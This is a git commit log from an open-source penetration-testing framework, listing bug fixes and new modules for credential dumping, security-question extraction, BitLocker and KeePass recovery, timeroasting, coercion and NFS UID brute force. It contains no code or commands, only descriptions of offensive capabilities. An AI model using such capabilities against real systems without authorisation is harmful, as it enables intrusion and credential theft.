mpgn da088d9e60 fix args with bloodhound (report from discord) 2024-06-30 17:50:56 -04:00
mpgn ce31e24111 add double quote 2024-06-30 17:38:35 -04:00
mpgn aab22cf4bc update require_admin 2024-06-30 17:33:55 -04:00
mpgn 6e391cad46 fix mmcexec method thanks to @ippsec 2024-06-30 17:00:16 -04:00
Alexander Neff 5f45bfcf37 Working on sccm recon 2024-06-28 12:10:22 -04:00
Alexander Neff 592793c718 Add missing requires_admin 2024-06-28 12:10:13 -04:00
termanix 5983b86b52 Small Bug Fix on Listing SMB Shares with Kerberos Auth
This is a bug I came across while working with Kerberos on another project.  If the information of the user in the ticket is not in the database, it gives an index error cause of user_id is empty. I thought about adding the ticket information as user_id, but since it wouldn't have any meaning when it expired, I proceeded with pass.


Signed-off-by: termanix <[email protected]>
2024-06-25 18:51:32 +03:00
termanix 449f556dc1 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-25 16:05:38 +03:00
Alex 669a55fd98 Merge pull request #356 from Pennyw0rth/neff-fix-332 2024-06-25 00:26:55 +02:00
Alex ead02d812e Merge pull request #286 from termanix/New_Module_Bitlocker 2024-06-25 00:23:44 +02:00
Alex cce5c32eb1 Merge pull request #293 from Sant0rryu/main 2024-06-24 00:37:59 +02:00
Alex b0b4641724 Merge pull request #355 from bfnserra/patch-1 2024-06-24 00:36:37 +02:00
Alexander Neff 8bbab764c5 Change execution to cmd and fix bugs 2024-06-23 18:18:39 -04:00
Alexander Neff 4f5453ee09 Merge branch 'main' into bitlocker 2024-06-23 17:51:37 -04:00
Alexander Neff 9d32ea0a2b Add exception handling to prevent crashes against linux hosts 2024-06-23 13:54:48 -04:00
termanix b9d73524ee Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-22 16:39:55 +03:00
Nicolas Serra e50f7acbd5 Update pso.py
Fix Typo (obersationWindow to observationWindow)

Signed-off-by: Nicolas Serra <[email protected]>
2024-06-21 19:12:03 +02:00
Alex ada4905922 Merge pull request #354 from aelmosalamy/patch-1
fix: little typo in help args
2024-06-20 00:51:53 +02:00
Adham Elmosalamy e13ec2776e fix: little typo in help args
Signed-off-by: Adham Elmosalamy <[email protected]>
2024-06-20 01:30:30 +04:00
jubeaz 073938f67a merge from main 2024-06-19 08:02:21 +02:00
Lodos2005 2ec51902a3 Add coerce_plus Module 2024-06-18 19:00:12 +03:00
Kahvi-0xFF 755113d3c7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 447bded268 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF e7689542f2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF cf8c1b19ca Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 27caff59d5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 19ea1bc559 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 73b35eb0ea Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF d5bb6d9606 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 1e90103b4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Sébastien Miguel 5ccf0d3553 Update powershell_history.py
add description to module option

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 8132bf73d3 Update powershell_history.py
Add the path to output file in the output

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 1105dcdf52 Update powershell_history.py
Add export feature and some keywords

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel bfed3d462b Create powershell_history.py
First commit 

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Adamkadaban 39b877a3f1 use context.log.fail instead of print and add debugging 2024-06-18 11:06:42 -04:00
Adamkadaban da61939a0d only import loads function from json. 2024-06-18 11:06:42 -04:00
Adamkadaban 3724142717 add security-questions module to e2e test 2024-06-18 11:06:42 -04:00
Adamkadaban 4919fe05fd add comments to security-questions module 2024-06-18 11:06:42 -04:00
Adamkadaban 6838793301 ruff checks for security-questions module. all passing now 2024-06-18 11:06:42 -04:00
Adamkadaban a579d2296a more verbose answer for when user has no questions
this can happen when json is `{"version":1,"questions":[]}`
2024-06-18 11:06:42 -04:00
Adamkadaban cc251e8b19 get rid of stray comment 2024-06-18 11:06:42 -04:00
Adamkadaban dcee201380 make this a high privilege module 2024-06-18 11:06:42 -04:00
Adamkadaban 39006b1fed add new security-questions module
this module will dump security questions and answers for all users on the machine assuming run as administrator

requires this PR to work: https://github.com/fortra/impacket/pull/1743
2024-06-18 11:06:42 -04:00
termanix ea5426b468 Update nfs.py
Bruteforce-UID added.

Kerberos auth left.

Signed-off-by: termanix <[email protected]>
2024-06-17 20:55:02 +03:00
termanix 8c2155cae5 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-17 11:42:52 +03:00
termanix 0b5bad9ba0 Update nfs.py
UID Brute Force added (To Do, Brute number will be taken by user)
disconnection debug bug fixed

To Do Kerberos Auth

Signed-off-by: termanix <[email protected]>
2024-06-17 11:42:35 +03:00
Alexander Neff c09304ef6c Autoformat 2024-06-14 20:39:04 -04:00
Alexander Neff 008c490f5b Reworked interface module to core functionality and fixed all its bugs 2024-06-14 20:38:29 -04:00
Alexander Neff 9d3bc4d071 Formating and ruff 2024-06-14 17:36:40 -04:00
Alex 3eaa1632c9 Merge branch 'main' into main 2024-06-14 16:46:48 -04:00
Alex 1af282888c Merge pull request #344 from n00py/main
Add EnumAV Detection for Cortex XDR
2024-06-14 16:15:20 -04:00
Alex f2311b308b Merge pull request #345 from Anhydrite/main
Added domain name for --users with samr
2024-06-13 19:33:25 -04:00
Marshall Hallenbeck 65fc94f8dd nfs: properly initialize table variables to None 2024-06-13 12:37:54 -04:00
Marshall Hallenbeck 7b37015b62 nfs: formatting, commenting, and small fixes 2024-06-13 11:14:17 -04:00
Marshall Hallenbeck 4c5844820f nfs(db): add LIR and shares table and reflection; rename conn to sess 2024-06-13 11:07:26 -04:00
Marshall Hallenbeck 27b52e2da4 deps: add pynfsclient 2024-06-13 11:02:20 -04:00
termanix d3c9d7258a Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-11 22:12:42 +03:00
Anhydrite d44ed75076 Merge branch 'Pennyw0rth:main' into main 2024-06-11 17:21:42 +02:00
Anhydrite 271268a092 added domain name for --users with samr 2024-06-11 17:21:07 +02:00
n00py cdffba942d Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:35:36 -06:00
n00py 15f29a9c4f Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:33:22 -06:00
n00py 08e3f17365 Update enum_av.py
Added signature for Cortex

Signed-off-by: n00py <[email protected]>
2024-06-11 08:31:33 -06:00
Alex e4ca4f9fef Merge pull request #343 from Anhydrite/main 2024-06-11 08:59:55 -04:00
Anhydrite 5f79c176ea PR Fixes: changed logger success to display & added len 2024-06-11 14:38:03 +02:00
Anhydrite 3e18d2f588 Just added prints 2024-06-11 11:48:09 +02:00
Alex c956dba3ab Merge pull request #340 from Pennyw0rth/neff-os-detection 2024-06-10 13:36:48 -04:00
Alexander Neff fbeab5fb5c Fingerprint Samba 2024-06-09 18:15:20 -04:00
termanix fbec1c7c31 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-09 15:34:10 +03:00
Marshall Hallenbeck 665f778dd0 Merge pull request #336 from Pennyw0rth/update_hash_tests
add testing hash file to e2e_commands.txt
2024-06-08 09:36:48 -04:00
Marshall Hallenbeck 791733853e add testing hash file to e2e_commands.txt 2024-06-07 21:16:51 -04:00
Alex eedbce83b6 Merge pull request #333 from Pennyw0rth/marshall-guest-login
Add output if a successful authentication is via Guest privileges
2024-06-07 19:58:11 +02:00
Alexander Neff 2bc18c5786 Fix Pwned spacing 2024-06-07 13:41:25 -04:00
termanix 71391b11de Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-07 10:26:58 +03:00
Marshall Hallenbeck e25988275a Merge pull request #334 from fpreynaud/main
[NXCDB] Add support for CTRL-D
2024-06-06 10:49:35 -04:00
François REYNAUD f3fb3d431f [NXCDB] Add support for CTRL-D 2024-06-06 12:15:42 +02:00
Marshall Hallenbeck 0983df94db fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-05 12:18:27 -04:00
Marshall Hallenbeck bd8620125c tests: add test hashes 2024-06-05 12:18:04 -04:00
Marshall Hallenbeck aa38c7a18a revert spacing for Admin/Guest output 2024-06-05 12:05:52 -04:00
Marshall Hallenbeck f1894b2c6b remove commited pyc files 2024-06-05 09:01:18 -04:00
Marshall Hallenbeck 3797ccf888 fix(ruff): E226 2024-06-05 08:37:44 -04:00
Marshall Hallenbeck cfe231a9a1 feat(smb): check if successful login is guest privs 2024-06-05 08:37:24 -04:00
termanix 9cf6d983e2 Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2024-06-04 12:26:15 +03:00
termanix fbfef1b4b0 Update e2e_commands.txt
Added NFS

Signed-off-by: termanix <[email protected]>
2024-06-04 12:24:01 +03:00
termanix 80839d850e New NFS Protocol
Signed-off-by: termanix <[email protected]>
2024-06-04 10:04:14 +03:00
Alex 67da598b11 Merge pull request #279 from sepauli/sepauli/fix-keepass_trigger
fix extract_password
2024-06-01 23:53:48 +02:00
Alexander Neff efa0b75c10 Fix linting 2024-06-01 17:47:07 -04:00
Alex 2fa3e83ae9 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-06-01 23:31:08 +02:00
Alex 6858958864 Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS
ItsAlwaysDNS
2024-05-29 16:44:09 +02:00
Alexander Neff 03e25b708f Merge branch 'main' into ItsAlwaysDNS 2024-05-29 10:30:04 -04:00
Alex 64319fdb3c Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2024-05-29 16:27:03 +02:00
Alexander Neff 8db769e290 Fix tests and remove unnecessary abspath 2024-05-28 09:38:12 +02:00
Shad0wC0ntr0ller db3e7923fb Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:40:16 -04:00
Shad0wC0ntr0ller 56feb10348 Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:04:58 -04:00
Alexander Neff 20e01f92eb Version bump 2024-05-27 18:45:00 -04:00
Alexander Neff 9d70105230 More path fixes 2024-05-28 00:20:34 +02:00
Alexander Neff 69e47d15cb Fix issues with hardcoded /tmp 2024-05-27 23:17:30 +02:00
Alexander Neff bd7202d2c5 Fix test suite 2024-05-27 23:07:13 +02:00
Alexander Neff 63a78cb176 Fix ssh tests 2024-05-27 02:52:58 -04:00
Alexander Neff b6c57ce13a Change only git bash encoding to utf8 2024-05-27 08:05:09 +02:00
Alex 928b0d947e Add utf-8 default to testing suite 2024-05-26 19:14:12 +02:00
Alex 68fb2d3e86 Change default encoding to utf-8 2024-05-26 19:04:36 +02:00
Alex 1111e11108 Add executable testing 2024-05-26 18:24:36 +02:00
Alexander Neff d0f07b4138 Fix spec file for smb 2024-05-26 07:26:21 -04:00
sepauli 94e0ab62ea fix typo 2024-05-25 18:58:29 +02:00
sepauli 061ee498bf fix output for keepass2 2024-05-25 18:37:03 +02:00
Marshall Hallenbeck 53646f9d31 Merge branch 'main' into marshall-windows-fixes
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-25 11:02:18 -05:00
Alex b855dac2b6 Merge pull request #315 from Pennyw0rth/neff-e2e_tests 2024-05-25 17:26:36 +02:00
Alexander Neff 404bff5e26 Merge branch 'main' into neff-e2e_tests 2024-05-25 10:51:19 -04:00
zblurx ad923f842d Merge pull request #225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2024-05-25 13:44:53 +02:00
Marshall Hallenbeck 49f6f9cbfd Merge branch 'main' into neff-e2e_tests
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 10:07:28 -05:00
Marshall Hallenbeck f060aeb75f Merge branch 'main' into passwords_dump_update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 09:58:28 -05:00
Marshall Hallenbeck 630d32592e Merge pull request #325 from Fabrizzio53/main
Added --dns-tcp,--dns-timeout and --dns-server parameters to the ldap protocol when using --bloodhound
2024-05-24 09:55:37 -05:00
Fabrizzio53 a4e9ef21ce Update proto_args.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:22:16 -03:00
Fabrizzio53 ddb89b9a4b Update ldap.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:21:57 -03:00
Marshall Hallenbeck 40862382f1 Merge pull request #321 from Pennyw0rth/marshall-options-fix
Refactor argparse options
2024-05-23 20:13:00 -05:00
Marshall Hallenbeck 3def5487ee fix: add back in option that was accidentally removed during merge conflict 2024-05-23 20:00:03 -04:00
Marshall Hallenbeck 6b92270a38 fix(slinky): use proper TMP and allow custom shares to ignore 2024-05-23 11:07:36 -04:00
Marshall Hallenbeck 9879edffca fix(paths): change TMP creation to if/else, so Windows properly sets 2024-05-23 11:07:05 -04:00
Marshall Hallenbeck 0983f7950e dns: allow DNS options to be called anywhere on the command line 2024-05-22 17:08:34 -04:00
Marshall Hallenbeck 12a7fa0b2f Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-22 15:11:49 -05:00
Marshall Hallenbeck 2191deebce Merge pull request #309 from Pennyw0rth/neff-add-ldapquery
Add ldap query option
2024-05-22 15:06:01 -05:00
Marshall Hallenbeck db41c0893a Merge pull request #317 from Pennyw0rth/neff-command-execution
Improving execution speed and misc command execution improvements
2024-05-22 15:05:38 -05:00
Marshall Hallenbeck 06b1e066ba Merge pull request #307 from Pennyw0rth/marshall-wcc-fix
Fix: WCC Module - do not create log file on every file load
2024-05-22 15:04:22 -05:00
Disgame b1238fceb7 Merge branch 'Pennyw0rth:main' into timeroast_module 2024-05-22 15:48:03 +02:00
zblurx 9d6188eadf fix doublespace 2024-05-22 10:06:01 +02:00
Marshall Hallenbeck 16508f89d4 Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:46:09 -05:00
Marshall Hallenbeck ab23659c7f fix(wcc): reduce spammy output for wcc (will fix this in a better way later); closes #232 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 42642016ba remove newline
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 6fdead466e fix(wcc): remove unnecessary comments and whitespace
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck d91e15413e fix(wcc): do not create the wcc log file every time -L is ran, etc 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck de2541e212 tests: add more exec-method testss 2024-05-21 14:55:11 -04:00
zblurx dba83a43f9 multiple fixes 2024-05-21 20:29:42 +02:00
Marshall Hallenbeck 4d6b3b3f71 tests: add exec-method tests for cmd 2024-05-21 13:09:01 -04:00
zblurx 67de1a1fa1 fix on dpapiSystem object 2024-05-21 17:49:51 +02:00
Marshall Hallenbeck 4afc67422a ruff: apply ruff 2024-05-21 11:30:27 -04:00
Marshall Hallenbeck cfbfeec7a7 tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests 2024-05-21 11:30:07 -04:00
zblurx 57f35d453c fix error message condition 2024-05-21 14:45:02 +02:00
zblurx 8a0dcf0429 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-05-21 14:24:24 +02:00
zblurx dd7cbb6e74 fix ruff warnings 2024-05-21 14:19:06 +02:00
zblurx 85c44fa7bd update e2e 2024-05-21 14:15:47 +02:00
zblurx 7e90d8082f fixed sccm 2024-05-21 14:15:22 +02:00
zblurx 9b74ea59c3 update vnc 2024-05-21 12:46:05 +02:00
zblurx 1c740bd199 changed sccm to go as a core option 2024-05-21 10:39:01 +02:00
zblurx f530cbdc58 add e2e commands for mremoteng and mobaxterm 2024-05-21 10:21:25 +02:00
zblurx a07ee5f23f update vnc module 2024-05-21 10:14:36 +02:00
Marshall Hallenbeck f3b73ffdf2 fix(mssql): check if output isnt an empty list/None before trying to stringify it for output 2024-05-20 16:05:44 -04:00
Alexander Neff b0e9fe24f9 Fix test paths 2024-05-20 13:50:31 -04:00
Alexander Neff f58d7385aa Merge branch 'main' into neff-e2e_tests 2024-05-20 12:54:36 -04:00
Alexander Neff 837f9a04a2 Fix "tries" logic due to merge and beautify code 2024-05-20 12:48:52 -04:00
Alexander Neff 2e73007281 Merge branch 'main' into neff-command-execution 2024-05-20 12:36:27 -04:00
Marshall Hallenbeck cf231d5985 Merge pull request #296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2024-05-20 11:27:28 -05:00
Marshall Hallenbeck 23a7d11eeb fix: revert output for command execution and normalize it to what SMB was 2024-05-20 12:23:57 -04:00
Marshall Hallenbeck e10e38f152 Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:09:01 -05:00
Marshall Hallenbeck f8655022cf fix(smb): change command output back to match mssql (one big blob) 2024-05-20 12:11:17 -04:00
Marshall Hallenbeck d0a4afe19b Merge pull request #196 from XiaoliChan/dns
[DNS] Add DNS args
2024-05-20 10:55:50 -05:00
Alex ca01584f76 Merge pull request #318 from Pennyw0rth/Marshall-Hallenbeck-patch-1
fix(tests): add spaces & fix one file reference
2024-05-20 17:54:49 +02:00
Marshall Hallenbeck bda8700a58 fix(tests): add spaces & fix one file reference
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:46:52 -04:00
Alexander Neff 447d1719c1 Add exec methods to e2e tests 2024-05-20 11:14:01 -04:00
Alexander Neff 4ffcc83bcc Make execution methods more efficient and wait powershell execution if detectable 2024-05-20 10:50:48 -04:00
Alexander Neff 5655e5c0fd Replace fixed default text with argparse default string 2024-05-20 09:33:46 -04:00
Alexander Neff 9be17e92d9 Fix wrong function call 2024-05-20 06:11:33 -04:00
Alexander Neff 0166a426f0 Merge branch 'main' into dns 2024-05-20 05:57:38 -04:00
Marshall Hallenbeck 65030d7662 Merge pull request #313 from Pennyw0rth/neff-fix-ssh
Handle paramiko error when bruteforcing
2024-05-19 16:47:00 -05:00
Marshall Hallenbeck 198f8f8a79 Merge pull request #314 from Pennyw0rth/marshall-tests-fix
Fix for tests referencing files, password/username variable, and a couple KERBEROS space issues
2024-05-19 16:46:13 -05:00
Marshall Hallenbeck 47b1c1f738 fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:41:38 -04:00
Alex 7afb4afd35 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-05-19 23:40:10 +02:00
Alexander Neff 4bc012655d Remove left over code 2024-05-19 17:12:01 -04:00
Alexander Neff 1fce072cbe Merge branch 'marshall-tests-fix' into neff-e2e_tests 2024-05-19 17:00:10 -04:00
Alexander Neff c1d52364b3 Removing retries logic 2024-05-19 16:51:49 -04:00
Marshall Hallenbeck 2f098f2420 fix(tests): improve data directory finding so you can run tests in root dir or tests dir and the path names should resolve 2024-05-19 15:17:51 -05:00
Alexander Neff d2760dc287 Added error handling for paramiko internals 2024-05-19 13:06:01 -04:00
Alexander Neff 7cf94d297b Create connection object for every auth request 2024-05-19 12:36:19 -04:00
Alexander Neff 393b607a1b Adding a banner_timeout as this might fix #312 according to https://github.com/paramiko/paramiko/issues/1752#issuecomment-979219861 2024-05-19 08:59:12 -04:00
Alexander Neff a98bfab28d Add timeout to the plaintext login 2024-05-19 08:51:42 -04:00
Alexander Neff 407e707847 Remove --options tests as they dont provide any additional value 2024-05-19 08:48:16 -04:00
Alexander Neff 5e255bc17c Fix brute force tests with cwd path 2024-05-18 21:12:09 -04:00
Alexander Neff 18d519dd68 Disable rdp module and add putty tests 2024-05-18 21:09:24 -04:00
Alexander Neff b3c1e4f5c2 Delete deprecated bh_owned module 2024-05-18 21:08:55 -04:00
Alexander Neff 45b03e78d5 Improve testing and add retries 2024-05-18 21:08:20 -04:00
termanix 763cf57c18 Merge branch 'main' into New_Module_Bitlocker 2024-05-18 19:52:21 +03:00
Marshall Hallenbeck 65a41b8408 Merge branch 'main' into dns 2024-05-17 19:37:10 -05:00
Marshall Hallenbeck 5197a0eaf3 Merge pull request #310 from Pennyw0rth/marshall-pr-template-fix
fix: move PR template to the correct location
2024-05-17 19:26:23 -05:00
Enrico Belgiovine e7d30329ed fix: ruff check 2024-05-18 01:39:27 +02:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck cdd62033ea fix: move PR template to the correct location 2024-05-17 19:14:18 -04:00
Enrico Belgiovine 4143073123 fix: moved display Information out of logic 2024-05-18 01:04:40 +02:00
Enrico Belgiovine a636fb45ae feat: new option to retrieve old hashes 2024-05-18 01:01:45 +02:00
Enrico Belgiovine 56795fc713 feat: timeroast.py implemented as netexec module 2024-05-18 00:43:57 +02:00
termanix 610bad1bae Update bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 0aaad63819 Update bitlocker.py
Fixed smb error line.

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 406507e8de Update bitlocker.py
Updated according to the new powershell update.


Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 6c4e8ead5e Update e2e commands 2024-05-17 14:18:38 -05:00
termanix 5ff488eae5 Fixed ruff checks bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban c354978fa1 Update bitlocker.py
Fixed a bug, if bitlockervolume and namespace does not exist.

Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban 50ed8279e1 Update bitlocker.py
Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix f55cbf6f23 Update bitlocker.py
Using WMI command

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 219deaf073 BitLocker 2024-05-17 14:18:38 -05:00
Alexander Neff a2d43caa2a Add ldap query option 2024-05-17 13:24:09 -04:00
Marshall Hallenbeck cd088a0bd7 fix(ruff): ignore oneliner alert 2024-05-17 12:25:26 -04:00
Marshall Hallenbeck 736db4dbd7 update force_ps32 if/then for readability (and add Ruff ignore - blame Neff!) 2024-05-17 11:10:05 -04:00
Marshall Hallenbeck 6213c6456d remove blank line 2024-05-17 10:56:54 -04:00
Marshall Hallenbeck 4ae085403d remove excess tab 2024-05-17 10:56:29 -04:00
Marshall Hallenbeck e4925d301d clarify debug message 2024-05-17 10:53:53 -04:00
Marshall Hallenbeck ca3291877a update error when execution is blocked by AMSI 2024-05-17 10:52:57 -04:00
Marshall Hallenbeck 0910b98af6 docs: update options to clarify what certain flags are for 2024-05-17 10:51:52 -04:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck 152958ed13 fix: remove restrictions on smb and ldap port choice 2024-05-16 21:09:40 -04:00
Marshall Hallenbeck eb7707a076 refactor(args): update remaining protos to use new default formatter for printing arg defaults 2024-05-16 21:08:44 -04:00
Marshall Hallenbeck 913c760115 tests: re-enable rdp options and fix wmi rdp call 2024-05-16 20:51:39 -04:00
Marshall Hallenbeck c06198807d fix(cli): remove secondary aeskey and kdchost long form options since its not possible to use two 2024-05-16 20:49:32 -04:00
Alex 7b5306c92c Merge branch 'main' into marshall-pwsh-update 2024-05-17 02:24:25 +02:00
Marshall Hallenbeck 66bdcdf1ab fix command exec method group naming 2024-05-16 20:16:44 -04:00
Marshall Hallenbeck b5bc29db25 feat(args): add additional, more pythonic options for cmd args 2024-05-16 20:15:50 -04:00
Marshall Hallenbeck 12141907df feat(smb): show defaults if not None/empty if they are set 2024-05-16 20:13:30 -04:00
Marshall Hallenbeck f021cde6f4 refactor(args): change Authentication to its own arg section and show defaults if set and not None/empty/etc 2024-05-16 20:12:51 -04:00
jubeaz dffd862595 linting 2024-05-17 02:05:57 +02:00
Marshall Hallenbeck e16a66af6d refactor(smb args): update smb arg parsing naming to make sense 2024-05-16 19:51:27 -04:00
Marshall Hallenbeck 70a99a7da5 feat(options): change how args are parsed and passed, allowing --debug, etc to be used anywhere 2024-05-16 18:26:18 -04:00
jubeaz 46574d41f6 Merge branch 'Pennyw0rth:main' into module_wcc_add_defender 2024-05-16 21:22:27 +02:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
jubeaz 1c965cb5f1 Merge branch 'main' into module_wcc_add_defender 2024-05-15 03:30:38 +02:00
jubeaz 4815249c78 update Defender checks 2024-05-15 03:19:19 +02:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
jubeaz ae6b659749 Add Defender conf check 2024-05-14 02:31:20 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Sant0rryu 169a7dc148 Update interface.py
Fixed Ruff checks

Signed-off-by: Sant0rryu <[email protected]>
2024-05-12 16:30:25 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Marshall Hallenbeck c56f08704e Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-11 19:36:08 -05:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
